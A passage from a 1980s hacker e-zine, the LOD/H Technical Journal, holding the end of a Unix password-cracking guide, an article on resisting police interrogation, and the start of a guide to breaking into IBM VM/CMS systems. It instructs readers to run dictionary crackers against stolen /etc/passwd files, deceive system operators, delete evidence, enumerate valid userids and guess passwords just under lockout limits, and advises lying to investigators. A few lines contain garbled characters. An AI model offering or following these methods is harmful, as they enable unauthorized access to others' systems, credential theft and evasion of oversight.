have all messages generated by the program sent to a file called 'out.file'
|
|||
|
and run the program in background, you'd enter from csh:
|
|||
|
|
|||
|
% hpw melody /usr/dict/words > out.file &
|
|||
|
|
|||
|
the & signifies a background process. The system will print something like:
|
|||
|
[1] 90125
|
|||
|
this means it's job number 1 for you, and has process id 90125. To bring
|
|||
|
the program back into the foreground, enter:
|
|||
|
|
|||
|
% %1
|
|||
|
|
|||
|
and to kill the process, type
|
|||
|
|
|||
|
% kill 90125
|
|||
|
|
|||
|
if you have hpw running in background and you're in csh, you can just log off
|
|||
|
and the program will continue to silently gather passwords. If you're under
|
|||
|
the sh shell, you'll need to run the program with 'nohup' (read the man
|
|||
|
entry for more info) or sh will kill the process when you log out.
|
|||
|
|
|||
|
Anyway, after you've given the program sufficient time to go through the
|
|||
|
list (more on this in a second), log in again. If the output file exists,
|
|||
|
the program has completed its job. Otherwise use 'ps' to see if the program
|
|||
|
is still running. cat the file and you'll see something like this:
|
|||
|
|
|||
|
hacking melody
|
|||
|
encrypted password : K4h7iidD1vX0a
|
|||
|
melody ==> joshua (or 'done -- password not found')
|
|||
|
|
|||
|
make a note of melody's password, rm the incriminating output file, and
|
|||
|
move on to the next login name. Easy, huh?
|
|||
|
|
|||
|
Now for the bad news: The designers of Unix weren't stupid. They
|
|||
|
deliberately designed the crypt() routine so that it's unique (it's a minor
|
|||
|
deviation of the DES, so you can't use a fast DES-busting program to attack
|
|||
|
the /etc/passwd file). This program uses the fastest possible method of
|
|||
|
brute-force hacking Unix passwords, but it isn't too speedy itself. I wrote
|
|||
|
the program on a Pyramid 90x, which is a 32-bit multi-processor
|
|||
|
RISC-architecture machine. When running this program in foreground while I was
|
|||
|
the only user on the system, it averaged 2 seconds per try. You can expect
|
|||
|
this performance on one of the better VAXen. If you're on a Cray (sure...) it
|
|||
|
might take the program 1/8 second per hack. If you're on an AT running XENIX
|
|||
|
or a PDP-11/44, expect 5 seconds per try. (I really don't know how long it
|
|||
|
would take, why don't some people time it and give me feedback...I'd appreciate
|
|||
|
it.)
|
|||
|
|
|||
|
Realistically, if you're using the system's spelling-checker word list that
|
|||
|
contains 20,000 words and you're running the program in background, give
|
|||
|
it at least 12 hours. If you have a system operator who likes to keep
|
|||
|
track of people's long-running jobs, tell them via mail that you'll be
|
|||
|
computing the limit of 1/x to infinity or something like that and they'll
|
|||
|
leave the process alone. If you have your own file of 100 probable passwords
|
|||
|
(such as 'joshua,' 'secret' or the person's name) it will take 10 minutes
|
|||
|
or so to complete. Sensible selection of potential passwords (most UNIX
|
|||
|
systems don't allow passwords of less than 5 characters; attempt to change
|
|||
|
your password to progressively shorter and shorter words until you find out
|
|||
|
what your system's minimum length is) and running the program at strategic
|
|||
|
times (like after midnight) will cut the time down.
|
|||
|
|
|||
|
Hackers who know 'C' (and everybody should know C by now; it's the best
|
|||
|
language ever designed) will want to modify the program I've presented.
|
|||
|
You may want to 'hard code' the username to be hacked and the pwfile path;
|
|||
|
'progname root word.file' on a process table might look a LITTLE suspicious
|
|||
|
to snoopy system operators (and it goes without saying that you shouldn't
|
|||
|
call the program 'hack' or 'hpw', nor leave the source unencrypted in your
|
|||
|
directory). Also, since the crypt() routine is universal, you can hard-code
|
|||
|
the 'crbuf' variable with the encrypted password (from /etc/passwords)
|
|||
|
of a user on another system! When hardcoding a password, make sure you spell
|
|||
|
it correctly, and that it contains exactly 13 characters of upper & lower case,
|
|||
|
and/or numbers. I once successfully hacked the root account of an AT&T Micro in
|
|||
|
Michigan on my local Pyramid 90x. Thus I didn't need to take up space on the
|
|||
|
guy's file system with the source and didn't have to run the program on his
|
|||
|
slow system - once I obtained the 6300's /etc/passwd file from the person who
|
|||
|
hacked into the system, I attacked it at my local site. If you happen to have
|
|||
|
a system of your own that runs Unix, you can hack any system's root account at
|
|||
|
home, completely risk-free.
|
|||
|
|
|||
|
Unix is the best operating system I've ever used. It's immensely powerful;
|
|||
|
as demonstrated by the program above, it's easy to make the system work for
|
|||
|
you. If you have any questions, comments, criticisms, threats, etc, get in
|
|||
|
touch with me - my primary goal is not to prove that I'm more of a Unix Wizard
|
|||
|
than the other guy, but rather to do my part in the ongoing crusade to make
|
|||
|
forbidden information available to the people who can use it.
|
|||
|
'Knowledge is Power,' as the saying goes.
|
|||
|
|
|||
|
-- Shark.
|
|||
|
|
|||
|
(>---------------------------------------------------------------------------<)
|
|||
|
The LOD/H Technical Journal: File #7 of 12
|
|||
|
|
|||
|
|
|||
|
Intelligence and Interrogation Processes
|
|||
|
By: Master Of Impact and the Legion Of Hackers
|
|||
|
|
|||
|
|
|||
|
INTRODUCTION:
|
|||
|
=============
|
|||
|
|
|||
|
Doing what we do best always carries the risk of someone, somewhere, wanting
|
|||
|
to hold you for questioning. In this article I hope to give those persons who
|
|||
|
never have been exposed to this type of thing a little insight to the methods
|
|||
|
that are in use (and are in no ways happen to be all new), that can give you
|
|||
|
the edge you need to come away "sin faulta". In fact, these interrogation
|
|||
|
practicies are used a lot by teachers, local police, the FBI and Secret Service
|
|||
|
girlfriends, wives, parents, etc. to obtain information from you that you
|
|||
|
probably don't want to give out.
|
|||
|
|
|||
|
Interrogation is the art of questioning and examining a source in order to
|
|||
|
obtain the maximum amount of useful information. The goal of any interrogation
|
|||
|
is to obtain useful and reliable information in a lawful manner and in a
|
|||
|
minimum amount of time. The goal of any source is to deceive or hinder any
|
|||
|
attempts of the interrogator to get information out of him.
|
|||
|
|
|||
|
This article will deal primarily with the principles, techniques, and
|
|||
|
procedures of intelligence interrogation. By reading this article, one
|
|||
|
who runs the risk of being interrogated can build countermeasures for common
|
|||
|
interrogation techniques. This article has some paraphrased material from a
|
|||
|
government interrogation manual but the majority of the information was from
|
|||
|
personal experience and prior knowledge of the subject.
|
|||
|
|
|||
|
You cannot hope to defeat interrogation techniques unless you first know
|
|||
|
what they are. The ones listed herein are the most commonly used. After reading
|
|||
|
this article, you should be able to tell when you are being interrogated by
|
|||
|
people, and what technique(s) they are using when you probably would not have
|
|||
|
known before. Once you know what they are up to and how they are going to TRY
|
|||
|
to accomplish it, YOU have the initiative!
|
|||
|
|
|||
|
|
|||
|
INITIATIVE:
|
|||
|
===========
|
|||
|
|
|||
|
Achieving and maintaining the initiative is essential to a successful
|
|||
|
interrogation just as offense is the key to success in combat oPe`#K=9"+v
|
|||
|
initiative in any interrogation must rest with the interrogator throughout the
|
|||
|
entire interrogation. He will have certain advantages at the beginning of an
|
|||
|
interrogation which will enable him to grasp the initiative and assist in
|
|||
|
maintaining the initiative throughout the interrogation.
|
|||
|
|
|||
|
The interrogator has a position of authority over you. You realize this
|
|||
|
fact, and in some cases, believe that your future might well depend upon your
|
|||
|
association with the interrogator. As in the case of police questioning,
|
|||
|
"cooperate and we will go easy on you". Like hell they will.
|
|||
|
|
|||
|
The interrogator knows the purpose of the interrogation; the source does
|
|||
|
not necessarily know the exact reason, but can generally assume (especially
|
|||
|
in the case of a computer hacker or phone phreak, which is what the term
|
|||
|
"source" will be referring to during this article) because he or she is most
|
|||
|
usually conscious of horrible and nasty wrong-doings he or she may have been
|
|||
|
responsible for. Unfortunately for the source, he is generally very much in
|
|||
|
the dark about what's happening to his life while it is, in fact, crumbling
|
|||
|
around him (temporarily, anyway). This gives the source a not-so-illusionary
|
|||
|
behavior pattern of the proverbial chicken who's had its head chopped off.
|
|||
|
|
|||
|
Having gained the initial advantage which is quite an understatement,
|
|||
|
seeing that, although the risks to the source during the perpetration of
|
|||
|
a crime are quite obvious, the possible realistic results of being caught
|
|||
|
aren't quite as impressive while one is getting away with a crime than when
|
|||
|
one's home is invaded by the JC Penny-suit men wearing mirrored sunglasses,
|
|||
|
the interrogator must strive to maintain the initiative applying appropriate
|
|||
|
interrogation techniques through the exercise of self-control; by taking
|
|||
|
advantage of the source's weaknesses as they become apparent; and by
|
|||
|
continuously displaying an attitude of confidence and self-assurance. The
|
|||
|
interrogator, however, is 'supposed' to never take advantage of your weaknesses
|
|||
|
to the extent that the interrogation involves threats, insults, torture
|
|||
|
or exposure to unpleasant or inhumane treatment of any kind. Remember, the
|
|||
|
keyword is supposed.
|
|||
|
|
|||
|
It is possible for the interrogator to lose the initiative during the
|
|||
|
interrogation of a source. If this should occur, he will probably postpone the
|
|||
|
interrogation and reassess the situation. If the interrogation is resumed, a
|
|||
|
different interrogator will probably be introduced. Following are some examples
|
|||
|
of loss of initiative:
|
|||
|
|
|||
|
* The interrogator becomes angry and completely loses his self-control because
|
|||
|
of the arrogant actions of the source (such as the unbuttoning of a jacket
|
|||
|
to reveal "Secret Service Sucks" spray painted onto the source's T-shirt.)
|
|||
|
As a result, the interrogator loses sight of his objective and concentrates
|
|||
|
his efforts on humbling the source.
|
|||
|
|
|||
|
* During the interrogation the interrogator fails to note significant
|
|||
|
discrepancies in the source's story. The interrogator may lose his initiative
|
|||
|
as the source gains confidence from his success and resorts to further
|
|||
|
deception, leading the interrogator away from his objective.
|
|||
|
|
|||
|
* The interrogator becomes overly friendly with the source and allows him to
|
|||
|
lead the interrogation. The source reports only what he believes to be
|
|||
|
important and neglects several significant items of info which could have
|
|||
|
been obtained had the interrogator maintained the initiative.
|
|||
|
|
|||
|
|
|||
|
PHASES OF INTERROGATION:
|
|||
|
========================
|
|||
|
|
|||
|
Approach Phase:
|
|||
|
---------------
|
|||
|
|
|||
|
Regardless of the type of source you are and your outward personality, you
|
|||
|
do possess weaknesses which, if recognized by the interrogator, can be
|
|||
|
exploited. A human being is likely to:
|
|||
|
|
|||
|
o Talk, especially after harrowing experiences
|
|||
|
o Show deference when confronted by superior authority
|
|||
|
o Rationalize acts about which he feels guilty
|
|||
|
o Lack the ability to apply or to remember lessons he may have been
|
|||
|
taught regarding security if confronted with a disorganized or a
|
|||
|
strange situation.
|
|||
|
o Cooperate with those who have control over him
|
|||
|
o Attach less importance to a topic which the interrogator demonstrates
|
|||
|
identical or related experiences and knowledge
|
|||
|
o Appreciate flattery and exoneration from guilt
|
|||
|
o Cooperate readily when given material rewards
|
|||
|
o Cooperate readily when treated as an equal
|
|||
|
|
|||
|
|
|||
|
TECHNIQUES:
|
|||
|
===========
|
|||
|
|
|||
|
"File and Dossier"
|
|||
|
----------------
|
|||
|
|
|||
|
The interrogator prepares a dossier containing all available info obtained
|
|||
|
from records and docs concerning you. Careful arrangement of the material with-
|
|||
|
in the file may give the illusion that it contains more data than is actually
|
|||
|
there. The file may be "padded" with extra paper, if necessary. Index tabs with
|
|||
|
titles such as "education", "employment", "criminal record", "bulletin boards",
|
|||
|
"violated computer systems", and others are particularly effective for this
|
|||
|
purpose. The interrogtor will confront you with the dossier at the beginning of
|
|||
|
the interrogation and explain that "intelligence" has provided a complete
|
|||
|
record of every significant happening in your life; therefore, it would
|
|||
|
be useless to resist interrogation. The interrogator may read a few selected
|
|||
|
bits of known data to further impress you. If the technique is successful, you
|
|||
|
will be impressed with and more importantly, terrified by the "voluminous"
|
|||
|
file, conclude that everything is known, and resign to complete cooperation.
|
|||
|
|
|||
|
|
|||
|
"We know ALL"
|
|||
|
-----------
|
|||
|
|
|||
|
This technique may be employed in conjunction with the above or by itself.
|
|||
|
The interrogator must first become thoroughly familiar with the available data
|
|||
|
concerning you. To begin the interrogation, the interrogator asks questions
|
|||
|
based on his known data. When you hesitate, refuse to answer, or provide an
|
|||
|
incomplete or incorrect reply, the interrogator himself provides the detailed
|
|||
|
answer. Through the careful use of the limited number of known details, the
|
|||
|
interrogator may convince you that all the info is already known; therefore,
|
|||
|
your answers to the questions are of no consequence. When you begin to give
|
|||
|
accurate and complete information, the interrogator interjects questions
|
|||
|
designed to gain the needed info. Questions to which answers are already known
|
|||
|
are also asked to test you and to maintain the deception that all the info is
|
|||
|
already known. A VERY effective technique I might add.
|
|||
|
|
|||
|
|
|||
|
"Rapid Fire"
|
|||
|
----------
|
|||
|
|
|||
|
This approach technique involves a psychological ploy based on the principles
|
|||
|
that:
|
|||
|
|
|||
|
* Everyone likes to be heard when they speak; and
|
|||
|
|
|||
|
* It is confusing to be interrupted in mid-sentence with an unrelated
|
|||
|
question.
|
|||
|
|
|||
|
This technique may be used with one, or simultaneously by two or more
|
|||
|
interrogators in questioning the same source. In employing this technique the
|
|||
|
interrogator asks a series of questions in such a manner that you do not have
|
|||
|
time to answer a question completely before the next question is asked. This
|
|||
|
tends to confuse you and you are apt to contradict yourself, as you have little
|
|||
|
time to prepare your answers. The interrogator then confronts you with the
|
|||
|
inconsistencies, causing further contradictions. In many instances you
|
|||
|
will begin to talk freely in an attempt to explain yourself and deny the
|
|||
|
inconsistencies pointed out by the interrogator. In attempting to explain your
|
|||
|
answers, you are likely to reveal more than you intend, thus creating
|
|||
|
additional leads for the interrogator.
|
|||
|
|
|||
|
|
|||
|
"Mutt and Jeff"
|
|||
|
-------------
|
|||
|
|
|||
|
This technique involves a psychological ploy which takes advantage of the
|
|||
|
natural uncertainty and guilt which a source has as a result of being detained
|
|||
|
and questioned. Use of this technique necessitates the employment of two
|
|||
|
experienced interrogators who are convincing as actors. Basically, the two
|
|||
|
interrogators will display opposing personalities and attitudes towards you.
|
|||
|
For example the first interrogator is very formal and displays an unsympathetic
|
|||
|
attitude. This is to make you feel cut off from your friends. At the time when
|
|||
|
you act hopeless and alone, the second interrogator appears (having received
|
|||
|
his cue by a signal, and is hidden from you), scolds the first interrogator for
|
|||
|
his harsh behavior and orders him from the room. He then apologizes to soothe
|
|||
|
you, perhaps offering coffee and a cigarette. He explains that the actions of
|
|||
|
the first interrogator were largely the result of an inferior intellect and
|
|||
|
lack of human sensitivity. The inference is created that the other interrogator
|
|||
|
and you have in common a high degree of intelligence and an awareness of human
|
|||
|
sensitivity, above and beyond that of the first interrogator. You are normally
|
|||
|
inclined to have a feeling of gratitude towards the second interrogator, who
|
|||
|
continues to show a sympathetic attitude in an effort to increase the rapport
|
|||
|
and control for the questioning which will follow. Should your cooperativeness
|
|||
|
begin to fade, the second interrogator can hint that since he is of high rank,
|
|||
|
having many other duties, he cannot afford to waste time on an uncooperative
|
|||
|
source. He may broadly infer that the first interrogator might return to
|
|||
|
continue the questioning. When used against the proper source, this trick will
|
|||
|
normally gain complete cooperation for the interrogation.
|
|||
|
|
|||
|
|
|||
|
"Repetition"
|
|||
|
----------
|
|||
|
|
|||
|
Repetition is used to induce cooperation from a hostile source. The inter-
|
|||
|
rogator listens carefully to your answer to a question, and then repeats both
|
|||
|
the question and answer several times. He does this with each succeeding
|
|||
|
question until you become so bored with the procedure that you answer the
|
|||
|
question fully and truthfully to satisfy the interrogator and to gain relief
|
|||
|
from the monotony of this method of questioning. The repetition technique will
|
|||
|
Y{Od ='fbgenerally not work when employed against introverted sources or those having
|
|||
|
great self control.
|
|||
|
|
|||
|
|
|||
|
"Pride and Ego"
|
|||
|
-------------
|
|||
|
|
|||
|
This technique works effectively on many phreaks and hackers due to the fact
|
|||
|
that many are so damn egotistical. The strategy is to trick you into revealing
|
|||
|
desired information by flattering you. It is effective with sources who have
|
|||
|
displayed weaknesses or feelings of inferiority. The interrogator accuses you
|
|||
|
of weakness or implies that you are unable to do a certain thing. The proud or
|
|||
|
egotistical source will jump to the defensive. An example of an opening
|
|||
|
question for this technique may be: "Why would you own a blue box when you
|
|||
|
have absolutely no idea how to use one?" or, "Why do you hack VMS systems if
|
|||
|
you can't do a damn thing once you're inside of one?" It provides you with the
|
|||
|
opportunity to show someone that you have "brains" and in doing so, you give
|
|||
|
the interrogator more information than you should have.
|
|||
|
|
|||
|
|
|||
|
"Silent"
|
|||
|
------
|
|||
|
|
|||
|
The Silent technique may be successful when used against either the nervous,
|
|||
|
or the confident-type source. When employing this technique, the interrogator
|
|||
|
says nothing to you, but looks you squarely in the eye, probably with a slight
|
|||
|
smile on his face. It is important for the interrogator not to look away from
|
|||
|
you, but force you to break eye contact first. You will become nervous, begin
|
|||
|
to shift around in your chair, and look away. If you ask questions the
|
|||
|
interrogator probably will not answer them until he is ready to break the
|
|||
|
silence. A source may blurt out questions such as, "What the hell do you want
|
|||
|
with me". When the interrogator is ready to break the silence, he may do so
|
|||
|
with some quite nonchalant questions such as, "You've been logging on to our
|
|||
|
system for a long time now, haven't you? Did you hack the passwords yourself?".
|
|||
|
|
|||
|
In some cases the interrogator will use several approach techniques
|
|||
|
concurrently, or in succession.
|
|||
|
|
|||
|
|
|||
|
QUESTIONS:
|
|||
|
==========
|
|||
|
|
|||
|
There are various questions that the interrogator may ask you:
|
|||
|
|
|||
|
* Prepared questions: When the topic under inquiry is very technical or when
|
|||
|
legal aspects of the interrogation require preciseness, the interrogator will
|
|||
|
have a list of prepared questions to follow during the interrogation.
|
|||
|
|
|||
|
* Control questions: To maintain control and to check on the truthfulness of
|
|||
|
a source, the normal questions will be mixed with control questions-those
|
|||
|
with known answers. If you fail to answer these questions, or answer wrong,
|
|||
|
it will indicate that you are either not knowledgeable in the topic or that
|
|||
|
you are lying.
|
|||
|
|
|||
|
* Nonpertinent questions: Sometimes it is necessary for the interrogator to
|
|||
|
keep the true objective of the interrogation from you. By carefully blending
|
|||
|
pertinent questions with nonpertinent questions, the interrogator can conceal
|
|||
|
the true purpose of the inquiry.
|
|||
|
|
|||
|
* Direct and leading questions: The manner in which the questions are worded
|
|||
|
has a direct bearing on your response. A question may be posed in a number
|
|||
|
of ways:
|
|||
|
|
|||
|
o "What system did you hack into on 11/11/86?"
|
|||
|
|
|||
|
o "Did you break into General Dynamics' computer on 11/11/86?"
|
|||
|
|
|||
|
o "You did break into GD's computer on 11/11/86?"
|
|||
|
|
|||
|
o "You didn't break into GD'S computer on 11/11/86, did you?"
|
|||
|
|
|||
|
|
|||
|
|
|||
|
PSYCHOLOGY IN INTERROGATION:
|
|||
|
============================
|
|||
|
|
|||
|
The interrogator will watch for various psychological responses from you during
|
|||
|
an interrogation. Some of these are:
|
|||
|
|
|||
|
* Rationalization: Creating plausible excuses or explanations for one's acts
|
|||
|
without being aware that these excuses or explanations are way off the
|
|||
|
[obvious] reality.
|
|||
|
|
|||
|
* Identification: To identify with and mimic a mental image of some one
|
|||
|
important to you.
|
|||
|
|
|||
|
* Compensation: Trying to make up for a psychological weakness by building
|
|||
|
up or exaggerating a psychological strength.
|
|||
|
|
|||
|
* Exhibitionism: Showing off, bragging, etc.
|
|||
|
|
|||
|
* Fear, Anger, Frustration, etc.
|
|||
|
|
|||
|
Of course when being interrogated, you should remain as emotionless as possible
|
|||
|
and never show anger, or get upset (NEVER inflict physical abuse upon the
|
|||
|
unsuspecting interrogator. This only creates tension between both the inter-
|
|||
|
rogator and yourself). Your every move, every response, every action is noted
|
|||
|
and used by the interrogator to get you to screw up and give him what he wants.
|
|||
|
|
|||
|
There can be two main objectives that you can obtain when being interrogated.
|
|||
|
The first is to find ways to force the interrogator to lose his initiative. You
|
|||
|
can do this in many ways. A few that come to mind are: Repeat everything the
|
|||
|
interrogator says. Mimic the interrogator. Laugh at the interrogator. Basically
|
|||
|
piss the interrogator off and make him so mad that he loses sight of his
|
|||
|
objective. This may however, get you in deeper trouble, but it may give you
|
|||
|
extra time while another interrogator is found.
|
|||
|
|
|||
|
Lie like hell to the interrogator and piss him off. Such as the pathological
|
|||
|
liar gimmick: "I broke into the NSA's computer, yeah, and then used their
|
|||
|
network to get into the presidents private computer yeah that's it, the
|
|||
|
password was uh...Bonzo, yeah, and then used it to take control of a satellite
|
|||
|
used for Star Wars, and made it land right on top of the Kremlin, yeah that's
|
|||
|
the ticket!"
|
|||
|
|
|||
|
You can also change the subject over and over again to totally unrelated things
|
|||
|
such as: its a nice day out today, hows the wife and kids, how about some food,
|
|||
|
who do you think is going to the superbowl, etc.
|
|||
|
|
|||
|
The other and probably better objective is simply to pretend to fall for any of
|
|||
|
the various techniques used against you and feed the interrogator more and more
|
|||
|
bullshit, of course being very sincere. This way he gets totally bogus
|
|||
|
information while thinking you are cooperating fully.
|
|||
|
|
|||
|
Well, I hope you never have to put this article to use in a legal manner, but
|
|||
|
you would be surprised how everyday you are interrogated without even
|
|||
|
realizing it by normal people who probably don't realize they are interrogating
|
|||
|
you!
|
|||
|
|
|||
|
As stated in the other articles, you can reach me for comment via the staff
|
|||
|
account.
|
|||
|
|
|||
|
MofI (LOH)
|
|||
|
|
|||
|
The LOD/H Technical Journal: File #8 of 10
|
|||
|
|
|||
|
|
|||
|
Lex Luthor
|
|||
|
and
|
|||
|
The Legion Of Hackers
|
|||
|
Present:
|
|||
|
|
|||
|
Hacking IBM's VM/CMS Operating System
|
|||
|
Part A
|
|||
|
|
|||
|
|
|||
|
INTRODUCTION:
|
|||
|
-------------
|
|||
|
|
|||
|
IBM mainframes make up over 50% of the mainframes used in the United
|
|||
|
States. These systems are traditionally used in industries such as insurance,
|
|||
|
banking, universities and so on. For some reason, IBM systems as a whole have
|
|||
|
not been very popular with hackers. This may be due to the complexity of the
|
|||
|
Operating Systems run on IBM systems compared to others such as UNIX or VMS.
|
|||
|
Another reason may be that there is much variety from shop to shop. IBM systems
|
|||
|
are more commonly modified and customized to fit an individual corporations
|
|||
|
need and the lack of "universality" for commands, files, programs and other
|
|||
|
procedures makes it difficult to attempt to use without any type of specific
|
|||
|
documentation. The lack of detailed on-line help also hinders the hacker. I
|
|||
|
believe that the VM/CMS Operating System is by far the best and easily learned
|
|||
|
of the IBM systems. But compared to other Operating Systems like UNIX or VMS,
|
|||
|
VM/CMS is cumbersome and harder to learn.
|
|||
|
|
|||
|
|
|||
|
ACRONYMS:
|
|||
|
---------
|
|||
|
|
|||
|
Before I even attempt to start this article, I will list the IBM-specific
|
|||
|
acronyms used in this article and some others that you may find on various IBM
|
|||
|
systems. I list them here so I will not have to do it throughout this article.
|
|||
|
If you don't know what one of them means later, just refer back to this list.
|
|||
|
|
|||
|
VM/SP: Virtual Machine/System Product
|
|||
|
CP: Control Program
|
|||
|
CMS: Conversational Monitoring System
|
|||
|
HPO: High Performance Option
|
|||
|
VSE: Virtual Storage Extended
|
|||
|
MVS: Multiple Virutal Storage
|
|||
|
TSO: Time Sharing Option
|
|||
|
JES: Job Entry System
|
|||
|
CICS: Customer Information Control System
|
|||
|
VSAM: Virtual Storage Access Method
|
|||
|
VTAM: Virtual Telecommunications Access Method
|
|||
|
IX: Interactive Executive
|
|||
|
|
|||
|
IPL: Initial Program Load
|
|||
|
IVP: Istallation Verification Program
|
|||
|
RSCS: Remote Spooling Communications Subsystem
|
|||
|
DASD: Direct Access Storage Device
|
|||
|
EREP: Environmental Recording Editing and Printing
|
|||
|
SNA: Systems Network Architecture
|
|||
|
NCCF: Network Communications Control Facility
|
|||
|
REXX: Restructured Extended Executer Language
|
|||
|
VTOC: Volume Table Of Contents
|
|||
|
DOCS: Display Operator Console System
|
|||
|
JCL: Job Control Language
|
|||
|
ACF: Advanced Communications Functions
|
|||
|
SQL/DS: Structured Query Language/Data System
|
|||
|
DBA: Data Base Administrator
|
|||
|
GCS: Group Control System
|
|||
|
SCP: System Control Program
|
|||
|
FDP: Field Development Program
|
|||
|
CNA: Communications Network Application
|
|||
|
POF: Programmable Operator Facility
|
|||
|
PSW: Program Status Word
|
|||
|
SSCP: Subsystem Services Control Point
|
|||
|
IPCS: Interactive Problem Control System
|
|||
|
DCSS: Discontiguous Shared Segments
|
|||
|
VMCF: Virtual Machine Communications Facility
|
|||
|
FIFO: First In First Out
|
|||
|
LIFO: Last In First Out
|
|||
|
AP: Attached Processor
|
|||
|
MP: Multi-Processor
|
|||
|
R/O: Read/Only
|
|||
|
R/W: Read/Write
|
|||
|
|
|||
|
|
|||
|
LOGGING IN:
|
|||
|
-----------
|
|||
|
|
|||
|
Typically, when you come across a CMS system, it will respond with:
|
|||
|
|
|||
|
VM/370 ONLINE
|
|||
|
!
|
|||
|
|
|||
|
.
|
|||
|
|
|||
|
|
|||
|
This message is somewhat of a contradiction. The majority of VM/CMS systems are
|
|||
|
rarely run on actual 370 systems but on other processors, such as the 43XX
|
|||
|
series and the 30XX series.
|
|||
|
|
|||
|
The period "." prompt is the surest way of verifying that you have indeed
|
|||
|
connected to a VM/CMS system, aside from the "VM/370 ONLINE" message which is
|
|||
|
usually printed. This prompt should not be confused with DEC's TOPS-10 system,
|
|||
|
which also has the prompt of a period. The older versions of VM/CMS responded
|
|||
|
as shown above. The newer versions will give you this menu:
|
|||
|
|
|||
|
Enter one of the following commands:
|
|||
|
|
|||
|
LOGON userid (Example: LOGON VMUSER1)
|
|||
|
DIAL userid (Example: DIAL VMUSER2)
|
|||
|
MSG userid message (Example: MSG VMUSER3 GOOD MORNING)
|
|||
|
LOGOFF
|
|||
|
|
|||
|
This menu may vary from system to system, since they may opt to not allow a
|
|||
|
command to be used before logging in and will omit it from the menu or they may
|
|||
|
add some commands. When hacking a system this menu will appear before you can
|
|||
|
attempt to login, thus becoming very tedious and time consuming especially at
|
|||
|
300 baud as you have to wait an eternity for each logon attempt.
|
|||
|
|
|||
|
Other responses after connecting are "Ready to Host", "Press break key to begin
|
|||
|
session" and "Invalid Switch Characters". The last response is commonly found
|
|||
|
on Telenet and other packet switched networks, in which you may have to specify
|
|||
|
"VM" for a VM/CMS system, or "TSO" for a MVS/TSO system. There may be other IBM
|
|||
|
systems to select from, or "VM" may not be a valid system. You may also have to
|
|||
|
specify "LOGON VM" or just "LOGON" before the port selector connects you to the
|
|||
|
host system.
|
|||
|
|
|||
|
LOGON can be abbreviated as just "L". A userid can be from 1-8 characters in
|
|||
|
length, but the first character MUST be a letter (In most systems you come
|
|||
|
across this will be true, but due to customization of systems, its possible
|
|||
|
this and even the 8 character password limit may be extended). A typical logon
|
|||
|
may look like:
|
|||
|
|
|||
|
.L COMOSOLO SYSGUESS NOIPL
|
|||
|
|
|||
|
"." is the system prompt, L is the LOGON command, COMOSOLO is the userid,
|
|||
|
SYSGUESS is the password, and NOIPL is the only 'login qualifier' allowed for
|
|||
|
the VM/CMS system. NOIPL specifies that the IPL name or device in the VM/SP
|
|||
|
directory should not be used for an automatic IPL. IPL simulates the LOAD
|
|||
|
button and the device address switches on the real computer console. Basically
|
|||
|
it "boots" your part of the CMS system. This is another different concept. A
|
|||
|
user can boot (or crash) their part of the system not the whole system (in most
|
|||
|
cases). NOIPL would be used when a system dumps you into a program which allows
|
|||
|
you little or no mobility such as a restricted menu of options (IE: A system
|
|||
|
backup utility) and logs you off without gaining access to CMS. NOIPL will
|
|||
|
prevent this program from running if it is listed in your automatic IPL entry
|
|||
|
within the CP directory. This should allow you access to the system. Otherwise
|
|||
|
the program was specified to run within your PROFILE EXEC which lists things to
|
|||
|
be done upon logon. NOIPL is somewhat similar but not identical to the login
|
|||
|
qualifier "/NOCOMMAND" for DEC's VAX/VMS systems.
|
|||
|
|
|||
|
If the Password Suppression Facility is installed on the system, you will
|
|||
|
receive an invalid format message whenever the userid and password are entered
|
|||
|
on the same line. This is obviously a security measure to prevent users from
|
|||
|
entering their password in full view of anyone who may be watching as the
|
|||
|
password is not "masked". Thus, you will have to enter your password on a
|
|||
|
separate line when the system prompts you for it. The advantage of entering the
|
|||
|
userid and password on one line (especially at 300 baud) is that you can try
|
|||
|
more userids and passwords in a shorter period of time while still availing
|
|||
|
yourself to the systems generousness of informing you when an invalid userid
|
|||
|
has been entered.
|
|||
|
|
|||
|
Error messages:
|
|||
|
|
|||
|
There are various error messages one may encounter while logging into a VM/CMS
|
|||
|
system. The ones you should be most concerned about are:
|
|||
|
|
|||
|
"Userid not in CP directory": When an invalid userid has been entered, you will
|
|||
|
receive this message. This indication gives the hacker a distinct advantage for
|
|||
|
gaining entry to the system. Probably the largest security hole for any system
|
|||
|
is to tell you when a valid username has been entered. After all, obtaining a
|
|||
|
valid userid is half the battle. The other half is obtaining a valid password.
|
|||
|
Even the weakest Operating Systems no longer give an indication of when a valid
|
|||
|
ID has been entered. Why IBM has not changed this is a mystery to me.
|
|||
|
|
|||
|
When a valid userid is entered you will be asked to enter a password if you did
|
|||
|
not already do so. If the password is correct, the system will attempt to log
|
|||
|
you on, if not, you will receive one of two messages:
|
|||
|
|
|||
|
"Logon unsuccessful--incorrect password": As has just been stated, a valid
|
|||
|
userid has been entered but the password was incorrect. Passwords can be from
|
|||
|
1-8 characters long, but in many cases the minimum length is changed to be at
|
|||
|
least three characters. There is no difference between upper and lower case
|
|||
|
letters for either the userid or password as they are converted to upper case
|
|||
|
by the system which is another security flaw as it reduces password
|
|||
|
possiblities.
|
|||
|
|
|||
|
"Password incorrect - reinitiate logon procedure": This is the message received
|
|||
|
on the older versions of VM/CMS, which means the same thing as the above msg.
|
|||
|
|
|||
|
"Maximum password attempts exceeded, try again later": The threshold has been
|
|||
|
reached for userid and/or password attempts. You will receive this message
|
|||
|
every time you attempt to logon after exceeding the threshold until a variable
|
|||
|
period of time (Probably from 1 to 5 minutes) has elapsed. This locks out ALL
|
|||
|
users who attempt to login to the system from that particuler line. I am not
|
|||
|
sure whether this is recorded anywhere or whether it is sent to the System
|
|||
|
Console so try to determine how many attempts normally trigger this and keep
|
|||
|
just short of it.
|
|||
|
|
|||
|
"Already logged on": This message will appear when you attempt to logon with a
|
|||
|
valid userid and password and that userid is already online. Unlike other
|
|||
|
systems, VM/CMS will not allow the same userid to be logged on more than once.
|
|||
|
|
|||
|
"Userid missing or invalid": As it implies, nothing was typed after entering
|
|||
|
the LOGON command, or the format for the userid was not correct, ie: using a
|
|||
|
number as the first character or a control character was used somewhere in the
|
|||
|
userid field.
|
|||
|
|
|||
|
"Error in CP directory": The CP directory is the main user directory for the
|
|||
|
system. Entries in the directory contain: the userid and password, VM I/O
|
|||
|
configuration, disk usage values, associated virtual and real addresses,
|
|||
|
privilege classes, virtual processor size, and other options for each user.
|
|||
|
Without the proper directory entry, a user cannot logon to the system.
|
|||
|
Therefore receiving this error message.
|
|||
|
|
|||
|
"Command not valid before logon": This occurs when you enter anything other
|
|||
|
